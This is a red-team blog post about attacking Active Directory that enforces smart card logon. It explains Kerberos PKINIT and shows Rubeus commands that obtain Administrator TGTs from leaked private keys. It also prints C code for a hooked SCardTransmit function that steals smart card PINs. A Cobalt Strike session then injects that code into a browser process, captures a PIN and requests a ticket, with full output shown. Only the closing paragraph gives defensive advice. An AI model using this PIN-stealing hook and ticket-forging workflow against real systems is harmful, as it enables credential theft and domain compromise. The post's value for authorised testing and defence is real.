Attacking Smart Card Based Active Directory Networks


Recently I was involved in an engagement where I was attacking smart card based Active Directory networks. The fact is though, you don’t need a physical smart card at all to authenticate to Active Directory that enforces smart card logon. The attributes of the certificate determine if it can be used for smart card based logon not the origin of the associated private key. So if you have access to the corresponding private key, smart card logon can still be achieved.

When a user has been enrolled for smart card based login, in it’s default configuration, the domain controller will accept any certificate signed by it’s trusted certificate authority that meets the following specification:

  • CRL Distribution Point must be populated, online and available
  • Key Usage for the certificate is set to Digital Signature
  • Enhanced Key Usages:
    • Smart Card Logon
    • Client Authentication (Optional, used for SSL based authentication)
  • Subject Alternative Names containing user UPN’s
  • Fully distinguished AD name of the user as the Subject

Additionally if the Allow certificates with no extended key usage certificate attribute group policy is enabled, the enhanced key usages doesn’t need to be present at all. This can lead to the abuse of other types of certificates issued to domain users or computers. Check out the post from CQURE Academy on how this policy can be abused.

Typical certificate capable of PKI/smart card login

This particularly journey of mine then began. How can we take leaked private keys or physical smart card pins and use them to our advantage.


As many of you are aware, modern day Active Directory uses Kerberos for authenticating to the domain. Tools like Rubeus, Mimikatz, Kekeo and impacket can be used to abuse Kerberos to the attackers advantage.

So where does PKI based authentication fit in with Kerberos? Back in 2006, a combined effort between Microsoft and the Aerospace Corporation submitted RFC 4556. This introduced public key cryptography support for Kerberos pre-authentication.

Pre-authentication is Kerberos’s answer to offline brute force attacks on an account password. Without pre-authentication enabled on an AD account, users are vulnerable to AS-REP roasting attacks. With the introduction of pre-authentication, the initial AS-REQ Kerberos request contains an encrypted timestamp. The key used to encrypt it is derived from the users password. This proves to the KDC that the user requesting the login does know the account password. Therefore, the KDC is happy to send back an encrypted AS-REP (response to AS-REQ) tied to the users password. The fact that the pre-auth data contains a timestamp also prevents replay attacks. If the pre-authenticated data is not valid, the KDC returns with an error, and no brute forcing of the AS-REP response key is possible. If an attacker is suitable placed within a network to spy on Kerberos responses though, AS-REP roasting is still possible.

PKI based authentication works in a similar fashion. It uses Kerberos pre-authentication to prove the user is who they say they are. Again, this uses a timestamp, but instead of encrypting the message with the users password derived key, it signs the message in the form of a PKCS #7 Cryptographic Message Syntax (CMS) payload using the private key belonging to the certificate. This private key can be present on a physical smart card or also be stored in other forms too, including not so secure methods. Once the KDC validates the signature of the CMS payload and everything checks out, an AS-REP is sent back to the client. One final detail of PKINIT is the encryption used for the AS-REP response. Because no password is used during a PKI based Kerberos login the user key is unknown to the client. To combat this, the AS-REP is either encrypted using a key that is obtained using the Diffie-Hellman key exchange algorithm or it is encrypted with the public key of the certificate used in the initial AS-REQ request. This initial request contains the details on which method is preferred.

From here on out, everything else remains the same. The client will have a valid TGT that can be used to request TGS tickets. The certificate is no longer used for the lifetime of the TGT and will generally remain valid for 7 days before the private key for the certificate is needed again. That’s not to say during Windows logon the private key doesn’t get used for 7 days. If the machine is locked or a user has logged out, Windows will enforce an authentication as it does with a password based login. But from an attackers perspective, this is irrelevant if they have obtained a TGT.

More in depth details on interactive and network based logon using smart cards can be found from the MS-PKCA documentation.

Rubeus with PKINIT

So I started working on adding PKINIT support to Rubeus and created a pull request. I have to give a big shout out to the Kerberos king @SteveSyfus. Kerberos.NET was a massive help when trying to understand the inner workings of PKINIT and some modified code worked it’s way into Rubeus. Also a tip of the hat to to @gentilkiwi for Kekeo/Mimikatz and @harmj0y and other Rubeus contributors. I wouldn’t have such a great tool start with in the first place if it wasn’t for their hard work.

PKCS#12 Based Authentication (PFX)

The first attack scenario I’ll cover is the exposure of a users private key. We can use a PKCS#12 certificate store which contains a users certificate along with the corresponding private key to generate a Kerberos TGT. Generating the pfx will depend on how you have managed to expose private keys in the first place. You can use OpenSSL to generate a PKCS12 store once you have the private key blob and corresponding certificate like this:

openssl pkcs12 -export -out leaked.pfx -inkey privateKey.key -in certificate.crt 

Once you have generated a valid certificate store, we can use the new addition to Rubeus to request a TGT. If you decide to protect the certificate store with a password, you can add the /password option to the command line.

Rubeus.exe asktgt /user:Administrator /certificate:leaked.pfx /domain:hacklab.local /dc:dc.hacklab.local

Rubeus will then generate a PKINIT based AS-REQ using the supplied certificate store to authenticate the user. If everything checks out and the KDC is happy you should get something similar to this:

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
  ServiceName           :  krbtgt/hacklab.local
  ServiceRealm          :  HACKLAB.LOCAL
  UserName              :  Administrator
  UserRealm             :  HACKLAB.LOCAL
  StartTime             :  02/10/2020 16:01:12
  EndTime               :  03/10/2020 02:01:12
  RenewTill             :  09/10/2020 16:01:12
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  6tIiFytU5V2cgSpXt8skdw==

The resulting .kirbi Base64 encoded string can then be used for obtaining TGS’s from the KDC as normal.

Physical Smart Card Login

After I managed to get PKINIT working with a certificate store, it then got me thinking on how we could use a physical smart card too. The main obstacle to using smart cards once a compromise of a users machine occurs is of course the PIN. Without knowing the PIN we cannot generate a valid AS-REQ. Brute forcing is out of the question since 3 invalid attempts and the card will lock you out.

One option is to capture the PIN when a user is required to unlock the smart card. This could be for a machine unlock/login, website login or other services on the network that requires smart card authentication.

After a little investigation this led me to the WinSCard DLL. This DLL is the gateway to communicating with the Smard Card service. The service then controls the resources and communication with the smart cards themselves. Generally anything that communicates with the smart card on Windows will use the WinSCard API. This also includes LSASS during login and Internet Explorer / Edge browser when authenticating to websites that require smart card authentication.

The specific export from the WinSCard.dll that interested me was the SCardTransmit API. This is the API used to transmit what the smart card ISO/IEC 7816 specification calls an Application Protocol Data Unit (APDU). This is the lowest level transmission unit that is used to communicate with a smart card.

Field nameLength (bytes)Description
CLA1Instruction class – indicates the type of command, e.g. interindustry or proprietary
INS1Instruction code – indicates the specific command, e.g. “write data”
P1-P22Instruction parameters for the command, e.g. offset into file at which to write the data
Lc0, 1 or 3Encodes the number (Nc) of bytes of command data to follow0 bytes denotes Nc=0
1 byte with a value from 1 to 255 denotes Nc with the same value
3 bytes, the first of which must be 0, denotes Nc in the range 1 to 65 535 (all three bytes may not be zero)
Command dataNcNc bytes of data
Le0, 1, 2 or 3Encodes the maximum number (Ne) of response bytes expected0 bytes denotes Ne=0
1 byte in the range 1 to 255 denotes that value of Ne, or 0 denotes Ne=256
2 bytes (if extended Lc was present in the command) in the range 1 to 65 535 denotes Ne of that value, or two zero bytes denotes 65 536
3 bytes (if Lc was not present in the command), the first of which must be 0, denote Ne in the same way as two-byte Le
Response APDU
Response dataNr (at most Ne)Response data
(Response trailer)
2Command processing status, e.g. 90 00 (hexadecimal) indicates success
APDU Structure from Wikipedia

If we hook this API, then we should be able to spy on PDU’s transmitted to the card.

LONG SCardTransmit(
  SCARDHANDLE         hCard,
  LPCBYTE             pbSendBuffer,
  DWORD               cbSendLength,
  LPBYTE              pbRecvBuffer,
  LPDWORD             pcbRecvLength

The pbSendBuffer parameter contains the APDU packet that is is making it’s way to the card and the pbRecvBuffer will contain the response from the smart card.

Whilst the ISO smart card specification has recommendations for certain command classes and command data structures, these are generally application specific and not defined by the ISO smart card specification itself. So where do we look for answers now? For identity and access purposes NIST produced the Personal Identity Verification (PIV) SP 800-73-4 specification. Without going into too much detail, the specification covers how the smart card should handle certificates enrolled onto the device along with all the APU’s to implement the specification. The area of interest within the PIV specification is section 3.2.1 VERIFY Card Command. The section describes how the VERIFY APDU is used to validate the PIN prior to allowing access to private keys stored on the card.

So armed with the information from the ISO specification along with section 3.2.1 from the PIV specification we should be able to produce a reliable hook to capture a PIN transmitted to the card. I covered API hooking in my EDR series of blog posts, so the methods used here a the same. Here is the implementation of the hooked API.

	LPCBYTE             pbSendBuffer,
	DWORD               cbSendLength,
	LPBYTE              pbRecvBuffer,
	LPDWORD             pcbRecvLength) {
	char debugString[1024] = { 0 };
	DWORD result = pOriginalpSCardTransmit(hCard, pioRecvPci, pbSendBuffer, cbSendLength, pioRecvPci, pbRecvBuffer, pcbRecvLength);
	//Check for CLA 0, INS 0x20 (VERIFY) and P1 of 00/FF according to NIST.SP.800-73-4 (PIV) specification
	if (cbSendLength >= 13 && pbSendBuffer[0] == 0 && pbSendBuffer[1] == 0x20 && (pbSendBuffer[2] == 0 || pbSendBuffer[2] == 0xff)) {
		//Check card response status for success
		bool success = false;
		if (pbRecvBuffer[0] == 0x90 && pbRecvBuffer[1] == 0x00) {
			success = true;
		char asciiPin[9];
		sprintf_s(debugString, sizeof(debugString), "Swipped VERIFY PIN: Type %s, Valid: %s, Pin: %s", GetPinType(pbSendBuffer[3]), success ? "true" : "false", 
			GetPinAsASCII(pbSendBuffer+5, min(pbSendBuffer[4],8), asciiPin));
	return result;

The first thing the API call does is call the original SCardTransmit function. Not only are we interested in the request we also want to know the response from the card. This way we can determine if the transmitted PIN to the card was correct too. The function then looks for the VERIFY PDU to isolate commands specific to verifying the PIN. Once we have determined a VERIFY PDU is in progress we check the result, 0x90 0x00 signifies the PIN was validated correctly. Next, we extract the PIN from the send buffer at offset 5 (Command data within the PDU structure). Finally we transmit the PIN details over a named pipe ready for capture by a receiving application interested in the data.

Packaging this functionality into a DLL that is also capable of being reflectively loaded will allow the DLL to be injected into our process of interest without hitting the disk. You can find the complete PinSwipe project on my GitHub repo which also includes a .NET PinSwipeListener console app that will list certificates found with the Smart Card Logon Enhanced Key Usage attribute then setup a listening pipe to capture swiped PIN’s.


In this assumed breach scenario I already have a Cobalt Strike beacon connected to a victim workstation. I am using an Administrator account but a limited account will work too. The PinSwipe DLL can be injected into a high privilege process like lsass when Administrative access is obtained which enables swiping PINs during login, but with limited user level access you will be restricted to injecting into user mode processes like Internet Explorer etc…

So first of all let’s launch PinSwipeListener, this will dump out certificate information for user certificates that have the Smart Card Logon EKU.

beacon> execute-assembly C:\tools\PinSwipeListener.exe
[*] Tasked beacon to run .NET program: PinSwipeListener.exe
[+] host called home, sent: 112171 bytes
[+] received output:
[+] Found smart card logon certificate with thumbprint 55C65AB0B9B6A893A6E8449FB34DD61093B231D8 and subject CN=Administrator, CN=Users, DC=hacklab, DC=loca

With the listener now in place we need to choose which processes to inject PinSwipe.dll into. Targets like Internet Explorer, Chrome etc… are good choices since these will regularly pop up requesting PIN’s in a smart card authenticated environment. For the demo I was running Internet Explorer which was running under PID 2678. I should note that IE, like Chrome, launches child processes for various tabs in use. So you’ll need to inject the correct process. Other more advanced aggressor scripts could be used that continually look out for new IE processes and inject into them all, but I will leave that as an exercise for the reader.

beacon> dllinject 2678 C:\tools\PinSwipe.dll
[*] Tasked beacon to inject C:\tools\PinSwipe.dll into 2678

Once a user enters their PIN into the dialog, PinSwipe should do its thing and capture the request and send it over the named pipe to PinSwipeListener.

IE presenting PIN dialog for end user
[+] received output:
[+] PinSwipe: Swipped VERIFY PIN: Type PIV Card Application, Valid: true, Pin: 123456

The output for PinSwipe will indicate if the entered PIN was correct in addition to the PIN number entered. Once you have captured the PIN you can use the new Rubeus feature to request a TGT using the users physical smart card. This time the /certificate parameter will reference the thumbprint or subject name of the certificate to use not a pfx file like in first demo. The output from PinSwipeListener will help when supplying this argument.

beacon> execute-assembly C:\tools\Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc: /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456
[*] Tasked beacon to run .NET program: Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc: /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456
[+] host called home, sent: 357691 bytes
[+] received output:
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
[*] Action: Ask TGT
[+] received output:
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'
[+] received output:
[+] TGT request successful!
[+] received output:
[*] base64(ticket.kirbi):
  ServiceName           :  krbtgt/hacklab.local
  ServiceRealm          :  HACKLAB.LOCAL
  UserName              :  Administrator
  UserRealm             :  HACKLAB.LOCAL
  StartTime             :  04/10/2020 19:55:29
  EndTime               :  05/10/2020 05:55:29
  RenewTill             :  11/10/2020 19:55:29
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  5K2V8xIaGbUS8ZYqTl120Q==

That is it. You now have a TGT that can be used for 7 days for requesting new TGS tickets for accessing other network resources.

Final Notes

When using physical smart cards within your network it’s always a good idea to have cards that require a physical press of a button or better still a biometric reader. That way, any compromise of a users account will not lead to generating TGT’s since the smart card will prevent access to the private keys without the physical press of a button or biometric data being present.